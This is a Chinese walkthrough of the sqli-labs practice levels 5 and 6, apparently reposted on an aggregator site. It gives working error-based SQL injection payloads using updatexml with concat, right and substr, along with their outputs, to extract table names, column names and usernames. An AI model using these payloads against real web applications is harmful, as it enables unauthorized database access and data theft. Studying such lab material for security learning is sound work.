sqli-labs 5~6 多命通关攻略

2023-10-27

描述

项目 描述
操作系统 Windows 10 专业版
MySQL 版本 5.7.40
Apache 版本 2.4.39

判断注入类型

正常输入

观察 Users 表的数据,可知 id 的正常输入的范围应为 1~13、14。

id 的正常输入范围

构造如下语句,观察页面返回的内容:

?id=1

返回结果为:

You are in…

不正常输入

构造如下语句,观察返回结果

?id=1000

显示为空

可以看到,使用上述语句后,页面回显区域没有显示任何内容。

错误输入

构造如下语句,观察返回结果:

?id='

返回结果为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’ LIMIT 0,1’ at line 1

由返回结果我们也可以判断该关卡的 SQL 注入类型应该为 单引号字符型注入

判断 SQL 查询结果的列数

猜测 SQL 查询结果中的列数为两列

?id=1' order by 2--+

返回结果:

You are in…

猜测 SQL 查询结果中的列数为三列

?id=1' order by 3--+

返回结果:

You are in…

猜测 SQL 查询结果中的列数为四列

?id=1' order by 4--+

返回结果为:

Unknown column ‘4’ in ‘order clause’

这说明 SQL 查询返回结果的列数为三列。

爆破方式的可行性

该题可使用的爆破方式有:

  1. 布尔盲注
  2. 时间盲注
  3. 报错注入

本题我们将采用 报错注入 的方式来进行爆破。

函数 UpdateXML()


UpdateXML(xml_target, xpath_expr, new_xml)

此函数替换给定片段的部分 XML 标记 xml_target 与新的 XML 片段new_xml,然后 返回更改的 XML。替换的xml_target部分匹配 XPath 表达式xpath_expr 由用户提供。

上述内容整理自 MySQL 官网


简单来说,UpdateXML() 函数的功能是通过 XPath 来匹配 XML 片段并使用用户提供的内容对其进行替换。

这个函数之所以可以被用于报错注入,原因如下:
当函数 UpdateXML() 的参数 xpath_expr 不符合 XPath 语法规范时,将抛出错误,且 xpath_expr 的内容将被包含在报错信息中。
如果 xpath_expr 是一个可被成功执行的 SQL 语句,则报错信息将包含该 SQL 语句执行的结果。所以我们可以利用这个参数来达到爆破数据库的目的。

爆破(报错注入)

爆破表名

可通过构造如下语句对 security 数据库中的表名进行爆破:

?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1)--+

返回结果为:

XPATH syntax error: ‘~emails,referers,uagents,users~’

其中:

  1. MySQL CONCAT()函数需要一个或多个字符串参数,并将它们连接成一个字符串。CONCAT()函数需要至少一个参数,否则会引起错误。
  2. 0x7e 对应的 ASCII 字符为 ~,这里我们使用该字符与 SQL 查询结果进行拼接来破坏 XPath 的正常语法,从而达到报错注入的目的。
    当然并不是所有的报错注入都需要通过 concat() 函数来破坏 XPath 的正常语法,比如下面这个语句即使不使用 concat() 函数也可以实现报错注入:
?id=' union select 1,2,updatexml(1, (select group_concat(column_name) from information_schema.columns where table_name='users'), 1)--+

而有些函数就需要 concat() 函数的帮助:

?id=' union select 1,2,updatexml(1, (select database()), 1)--+

你可以将它修改为如下形式来达到报错注入的目的:

?id=' union select 1,2,updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+

爆破列名

报错信息显示不全

可通过如下语句对 users 表中的列名进行爆破:

?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1)--+

返回结果:

XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’

注:
返回结果最右边的两个字符并不是 ~',要知道我们可是用 concat() 函数在 SQL 查询结果的两旁拼接了字符 ~,这表明网页在设计过程中限制了回显区域的显示长度,导致报错信息显示不全。

right() 函数

你可以使用 right() 函数从目标字符串中截取指定数量的字符。right() 函数接受两个参数,第一个参数为 目标字符串,第二个参数为 需要截取字符的数量。该函数将从目标字符串的右部分开始截取,与该函数功能类似的函数还有 left()。

计算回显区域可显示的最大字符数量

字符串长度计算
通过 字符串长度在线计算工具 的计算结果,我们明白了回显区域显示的最大字符串长度为 32因此我们可以将 right() 函数的第二个参数设置为 32

使用 right() 函数

接下来,让我们通过 right() 函数将另一部分显示出来:

?id=' union select 1,2,right(updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1), 32)--+

返回结果:

XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’

返回结果似乎并没有发生任何变化,问题出在 right() 函数吗?
不,问题出在 UpdateXML()。原因在于:

right() 函数需要发挥作用就需要等待 updatexml() 函数执行完毕,但 updatexml() 在遇到我们故意出错的 XPath 表达式后,将抛出错误,并不会执行外层的 right() 函数。

让我们再次修改语句,使其显示报错信息的右部

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 32), 1)--+

返回结果:

XPATH syntax error: ‘,id,username,password~’

偏移量

我们可以通过增加 right() 函数的第二个参数来观察报错信息的中间部分,但该增加多少呢?
我们刚刚对回显区域可显示的最大字符数量的统计此时又可以派上用场了,我们可以每次将 right() 函数的第二个参数增加 32 来观察其他部分的报错信息,直到看到位于最左端的字符 ~

第一次偏移
?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 64), 1)--+

返回结果为:

XPATH syntax error: ‘,CURRENT_CONNECTIONS,TOTAL_CONNE’

验证

让我们来验证一下,偏移量设置为回显区域显示的最大字符长度这个结论是否正确。

将偏移量减小为 48,构造语句如下:

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 48), 1)--+

返回结果:

XPATH syntax error: ‘,TOTAL_CONNECTIONS,id,username,p’

可以发现,这个结论出错了。

翻车总结

在 right() 函数无法精确对回显区域的显示内容进行精确的偏移后,我尝试了 substr()、mid()、substring() 等截取函数,发现都无法做到精确偏移的效果。
退而求其次,我们可以将偏移量减小为回显区域可显示的最大字符长度的一半。在这个例子中,我们可以将 right() 函数的第二个参数由原来的 32 减小为 16。

第一次偏移(修正版)

构造语句如下:

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 48), 1)--+

返回结果:

XPATH syntax error: ‘,TOTAL_CONNECTIONS,id,username,p’

第二次偏移

构造语句如下:

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 64), 1)--+

返回结果:

XPATH syntax error: ‘,CURRENT_CONNECTIONS,TOTAL_CONNE’

第三次偏移

构造语句如下:

?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 80), 1)--+

返回结果:

XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’

在看到最左端的字符 ~,也就说明我们的偏移工作已经完成了。

整合

对前面所获得的数据进行整合,我们可以获取到完整的错误信息:

XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password~’

总结

观察上面多次的偏移结果,我们可以发现我们为 right() 函数设置的第二个参数并不总是如我们所愿的原因是 符号问题,不信你看:

  1. right() 函数的第二个参数为 32 时的返回结果。
    第一份证据
  2. right() 函数的第二个参数为 64 时的返回结果。
    第二份证据
  3. right() 函数的第二个参数为 48 时的返回结果。

第三份证据
4. right() 函数的第二个参数为 80 时的返回结果。

第四份返回结果

各位发现了吗,报错信息中的第一个字符总是 ,;,至于原因暂不了解,如果你知道,恳请告诉我。

爆破字段

这里我们将通过报错注入爆破 数据库 security 下的表 users 中的字段 username 及 password

我们将构造如下语句爆破字段 username

?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1)--+

返回结果:

XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stup’

返回结果显示不全,这次我们使用 left() 函数来进行字符串的截取,也推荐更多的使用 left() 函数而不是 right() 函数,因为在这类情况中,我们发现这个问题时往往已经看到了最左边的内容,使用 left() 函数可以减少截取的次数。

第一次偏移
?id=' union select 1,2,updatexml(1, left(concat(0x7e, (select group_concat(username) from users), 0x7e), 48), 1)--+

返回结果:

XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stup’

怎么没有发生变化,即使将其 left() 函数的第二个参数改为 1000 也不会有任何变化。

原因分析

理想是美好的但现实是残酷的。细想过后,我们忽略了这么一个现实:
回显区域中显示的报错信息在长度不够时,将显示报错信息的前一部分内容,而 left() 函数是从左往右截取指定数量的字符,因此前面的操作并没有成功。
明白原理后,我们可以通过使用 right() 函数进行偏移,也可以使用 substr()、substring()、mid() 等函数。right() 函数是从右往左开始截取指定数量的字符,而 substr() 等函数则可以指定开始截取的位置(从 1 开始计数)以及截取字符的数量,因此这些函数都可以达到从左往右开始截取以减少截取次数的目的。

接下来,我将使用 substr() 函数作为示范,mid() 及 substring() 函数的功能及参数设置与 substr() 相同,再看完接下来的内容后你可以尝试使用另外两个函数攻破本关。

第一次偏移(修正版)

由于使用了另一类(参数个数及参数含义均不同)字符串截取函数,我们需要思考如何设置 substr() 的参数来保证不会遗漏的同时可以减少截取的次数。
这里我们将第二个参数(开始截取的位置,从 1 开始)设置为 16(回显区域报错信息所能显示的最大字符数的一半),并在以后每次都对该参数的值增加 16;第二个参数我们设置为 32,因为回显区域报错信息所能显示的最大字符数为 32

?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 16, 32), 1)--+

返回结果:

XPATH syntax error: ‘,secure,stupid,superman,bat’

第二次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 32, 32), 1)--+

返回结果:

XPATH syntax error: ‘,superman,batman,admin,admin1’

第三次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 48, 32), 1)--+

返回结果:

XPATH syntax error: ‘,admin,admin1,admin2,admin3,d’

第四次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 64, 32), 1)--+

返回结果:

XPATH syntax error: ‘,admin2,admin3,dhakkan,admin4~’

好了,到这里我们已经将所有的报错信息显示出来了,接下来让我们对这些内容进行整合。

整合

将前面截取到的部分报错信息整合后的结果如下:

XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4~’

好了本关卡到这里就结束了。等等,你是想告诉我,我还没有爆破 password 字段吗?
原理和爆破 username 字段相同,爆破 password 字段的任务就交给勤劳的各位了。

第六关

上面的内容均是第五关的讲解,第六关与第五关绝大多数内容都类似,这里我将讲解它们之间的不同内容。

注入类型

第六关与第五关的区别在于注入类型的不同,让我们通过构造语句来进行验证:

?id='

返回结果为空
可以观察到回显区域中未显示任何内容,说明第六关并不与第五关相同,并不都是单引号字符型注入。

让我们再构造如下语句:

?id="

返回结果为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“”" LIMIT 0,1’ at line 1

从返回结果可以判断出该关卡的注入类型应为双引号字符型注入。

在其它方面该关卡与第五关无异,请持着一颗热爱探索的心继续前进吧。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs 5~6 多命通关攻略 的相关文章

  • MySql 最后插入 ID,连接器 .net

    我正在使用 MySql Connector net 我需要获取最后一个查询生成的插入 id 现在 我假设返回值是MySqlHelper ExecuteNonQuery应该是最后一个插入id 但它只返回1 我正在使用的代码是 int inse
  • 显示表 FULLTEXT 索引列

    我希望运行一个查询 该查询将返回表中全文索引的列列表 该表采用 MyISAM 格式 我将使用 php 来构建查询 理想情况下 我会运行查询 它会返回信息 以便我可以构造一个以逗号分隔的列字符串 例如 名 姓 电子邮箱 这在 MySQL 中可
  • PDO SQLSRV 和 PDO MySQL 在获取 int 或 float 时返回字符串

    当您获取时 PDO MS SQL Server 和 PDO MySQL 都会返回一个字符串数组 即使列的 SQL 类型本应是数字类型 例如 int 或 float 我设法解决了这个问题 但我想了解为什么它们一开始就这样设计 是不是因为PDO
  • 使 pdo::query 静态

    当我运行下面的代码时出现此错误 我通常使用 msql 函数 但我尝试使用 PDO 代替 怎么了 致命错误 第 14 行无法静态调用非静态方法 PDO query
  • java mysql 准备好的语句

    我正在尝试使用 java 向数据库中进行简单的插入 它告诉我我的 sql 语法已关闭 但是 当我复制打印出来的字符串并将其放入 phpmyadmin 中的 sql 命令中时 它会正确执行该命令 并且我似乎无法弄清楚 java 中的字符串查询
  • 如何使用 MySQL 的 LOAD DATA LOCAL INFILE 在导入 CSV 时将字符串日期更改为 MySQL 日期格式

    我正在使用 MySQL 的 LOAD DATA LOCAL INFILE SQL 语句将数据从 CSV 文件加载到现有数据库表中 下面是一个 SQL 语句示例 LOAD DATA LOCAL INFILE file csv INTO TAB
  • Hibernate 对集合的查询过滤器

    我想执行以下查询 from Item i where i categoryItems catalogId catId 然而 这会产生以下异常 非法尝试取消引用集合 所以我用谷歌搜索 找到了这个 Hibernate 论坛帖子https for
  • 如何使用PostGIS将多边形数据转换为线段

    我在 PostgreSQL PostGIS 中有一个多边形数据表 现在我需要将此多边形数据转换为其相应的线段 谁能告诉我如何使用 PostGIS 查询进行转换 提前致谢 一般来说 将多边形转换为线可能并不简单 因为没有一对一的映射 http
  • 查找 PostgreSQL 中所有范围集合的所有交集

    我正在寻找一种有效的方法来查找时间戳范围集之间的所有交集 它需要与 PostgreSQL 9 2 配合使用 假设这些范围代表一个人可以见面的时间 每个人都可以有一个或多个空闲时间范围 我想找到all可以召开会议的时间段 即所有人都有空的时间
  • 如何在 SQL Server 中使用 nvarchar 变量为 unicode 用户添加前缀“N”?

    如何在 SQL Server 中使用 nvarchar 变量为 unicode 用户添加前缀 N 例如 给定这个变量 declare Query1 nvarchar max 我可以这样分配它 set Query1 N 但是如果我想使用怎么办
  • 截断 Mysql 表 Cron 作业?

    我在如何使用 cron 作业截断 Mysql 表时遇到了一些麻烦 无论我尝试什么 我似乎都无法让数据库清除表格 感谢您的帮助 mysql uderp example pexample hlocalhost Dexample e TRUNCA
  • 阻止注销页面后的后退按钮

    我有 php 注销页面 当用户单击注销链接时 请参阅此页面并重定向到索引页面 但是当单击后退按钮时 我会看到带有用户数据的上一页 当然 当我刷新页面时 我看不到以前的页面和数据 我在单击注销并单击后退按钮后检查了其他代码 drupal 但我
  • 更改迁移中的自动​​增量值(PostgreSQL 和 SQLite3)

    我有一个托管在 Heroku 上的项目 想要更改表的自动增量起始值 我在本地使用 SQLite3 Heroku 使用 PostgreSQL 这是我在迁移中所拥有的 class CreateMytable lt ActiveRecord Mi
  • Oracle:使用SQL或PL/SQL查找动态SQL中的错误位置

    如何在 PL SQL 或 SQL 中找到动态 SQL 语句中的错误位置 从 SQL Plus 中 我看到了错误的位置 例如 无效的 SQL DML 语句 SYS orcl gt SELECT 2 X 3 FROM 4 TABLEX 5 TA
  • InnoDB 因读未提交而死锁! - Java - Glassfish - EJB3(JPA/Hibernate)

    几天来 我在使用 Glassfish EJB3 和 Mysql InnoDB 的 Java 应用程序上遇到了死锁问题 配置 Mysql InnoDB Ver 14 12 Distrib 5 0 51a 适用于 debian linux gn
  • 使用 PHP 的 MySQL 连接字符串

    我正在尝试通过本地计算机连接到托管在我的服务器上的数据库 我的服务器有cPanel 11 它是一个典型的共享服务器 由CentOS提供支持 安装了PHP和MySQL 准确地说 我在同一台服务器上持有经销商帐户 我想在不同帐户或域之间访问数据
  • 列中差异的数量

    我想检索一列每行中有多少个字母的差异 例如 如果您有一个值 test 而另一行有一个值 testing 则 test 和 testing 之间的差异为 4 个字母 该列的数据值为 4 I have reflected about it an
  • 忽略重复条目并在 EF Core 中的 DbContext.SaveChanges() 上提交成功条目

    我有一个 ASP Net Core 2 2 Web API 在我的一个控制器操作中 我向 MySQL 数据库表添加了一堆行 我使用的是 Pomelo 例如 dbContext AddRange entities dbContext Save
  • 对多个数据库执行 SQL 查询

    我知道我的帖子与该论坛中的其他帖子的标题非常相似 但我真的找不到我需要的答案 这是我的问题 我的 Windows Server 上运行着 SQL Server 在我的 SQL Server 中 我有大约 30 个数据库 它们都具有相同的表和
  • Mysql 创建定义器

    我创建了一个在 CentOS Web 服务器上运行的 Intranet Web 应用程序 该应用程序使用另一个本地服务器 始终是 CentOS 作为 MySQL 数据库 在数据库内部我创建了例程 这些例程总是这样开始 CREATE DEFI

随机推荐

  • 分布式事务的二阶段提交和三阶段提交

    分布式事务 是指存在多个跨库事务的事务一致性问题 或者是指分布式架构下由多个应用节点组成的多个事务之间的事务一致性问题 在单点服务时 某电商会员购买上市时会出现以下情况 开启数据库事务 创建订单 会员积分减少 商品库存减少 提交数据库事务
  • MYSQL获取最近7天的日期

    写一个简单的 获取最近7填日期的sql select DATE SUB curdate INTERVAL 1 DAY day1 union select DATE SUB curdate INTERVAL 2 DAY day2 union
  • Zookeeper基础知识(一)

    一 Zookeeper是什么 ZooKeeper是一个开放源码的分布式协调服务 它是集群的管理者 监视着集群中各个节点的状态根据节点提交的反馈 进行下一步合理操作 最终 将简单易用的接口和性能高效 功能稳定的系统提供给用户 分布式应用程序可
  • echarts的grid——图表的位置配置

    博主 小猫娃来啦 文章核心 echarts的grid 图表的位置配置 文章目录 认识并了解grid grid有哪些属性 有什么用 关键点 grid所有属性 containLabel属性 总结 认识并了解grid 首先还是先认识grid 要弄
  • VMware中安装Ubuntu

    前言 本文档将演示通过 VMware 安装 Ubuntu 所使用的文件如下 VMware Workstation Pro ubuntu 16 04 6 desktop amd64 iso 本文档分为三个部分 新建虚拟机 安装系统 调整页面
  • gradle引入依赖包/maven引入依赖包

    1 打开https mvnrepository com 搜索出需要的jar包 2 点击进入需要jar包 选择maven或gradle的tab页 复制依赖url即可 如图 3 gradle项目的话 点击buildDependents即可 如图
  • 工业机器人仿真参考

    最近有一些朋友看到我做的关于Unity3d仿真机器人的项目 本次我在平台做以分享 希望的朋友或者有需要在此基础做开发的可以参考下 开发工具 下位机 Unity3D 上位机 Visual Studio 机械臂模型 TH6 QKM SCARA
  • Linux内核启动过程学习

    过完年来 敲着键盘都有点生疏了 很多东西都有点忘记了 还有刚上班还有点不习惯 状态还没有转换过来 没有办法趁这个机会就复习一下Linux的启动过程吧 asmlinkage void init start kernel void char c
  • 用python做自动化测试--序

    几年来 都有个想法 写个 用Python做自动化测试 的系列文章 把自己的经验和大家共享 和大家多交流 同时总结下自己掌握的东西 但苦于一直忙 其实准确点的说是自己懒 迟迟没有开始 我想不能再懒了 要不以后会更忙 更懒 我为什么选择pyth
  • Python统计学实例之正态分布:计算男女身高相差>5厘米的概率

    正态分布计算 示例1 正态分布计算实例 计算男女身高相差 gt 5厘米的概率 解题思路 用到的公式 总结 正态分布计算实例 计算男女身高相差 gt 5厘米的概率 假设男生身高 X N 71 20 25 女生身高 Y N 64 16 解题思路
  • Docker安装部署FastDFS详细过程

    FastDFS分布式文件存储的由来 在我们的项目中有很多需要存储的内容出现 比如图片 视频 文件等等 在早期的时候用户量不大 产生的文件也不是很多 这时我们可以把文件和服务程序放在一个服务器中 随着文件越来越多 服务器的资源会被文件资源大量
  • centos7:搭建部署confluence(6.10.0)

    1 test env host ip 20 20 20 20 host name centos7 ssh soft 2 安装jdk sudo rpm ivh jdk 8u181 linux x64 rpm sudo vim etc prof
  • 【C++】对象初始化和清理

    对象的初始化和清理 首先 我们创建完一个类后 当我们需要对类进行初始化 而当我们完成工作后 需要对类进行清理 这些工作 分别需要调用构造函数和析构函数 构造函数和析构函数的定义与特点 构造函数 1 作用 主要作用于对创建的对象成员属性进行初
  • 好的asp.net网站和论坛(转)

    站点推荐 http expert csdn net Expert topic 3008 3008621 xml temp 8 143252E 02 1 ASP Net中怎么样实现水晶报表在客户端打印 ms help MS VSCC 2003
  • linux下svn revert递归恢复

    svn revert R
  • 记住看小电影前一定要检查网址是不是 HTTPS 的,不然…

    看小电影还是浏览正常网站 一定要检查是不是 HTTPS 的 HTTP有可能被中间人攻击和拦截 下面就是详细的 HTTPS 原理 细思极恐 1 HTTP 协议在谈论 HTTPS 协议之前 先来回顾一下 HTTP 协议的概念 1 1 HTTP
  • Wireshark的流量分析例题

    简述流量分析 网络流量分析是记录和分析网络流量以出于性能 安全性 网络操作 管理和排障为目的分析网络流量的过程 它是使用自动技术检查网络流量中的详细级别细节和统计信息的过程 为了更好的去体会流量分析 我们使用wireshark来进行演示 演
  • JAVA学习【2】错误:无法从静态上下文中引用非静态

    编程时遇到 错误 无法从静态上下文中引用非静态 输出10到20的数字 程序如下 public class MyCode1 int count 10 public static void main String args while coun
  • 顺序表的实现与基本操作

    1 顺序表定义 1 1 顺序表定义 静态分配 c语言实现 include
  • sqli-labs 5~6 多命通关攻略

    sqli labs 5 6 多命通关攻略 描述 判断注入类型 正常输入 不正常输入 错误输入 判断 SQL 查询结果的列数 猜测 SQL 查询结果中的列数为两列 猜测 SQL 查询结果中的列数为三列 猜测 SQL 查询结果中的列数为四列 爆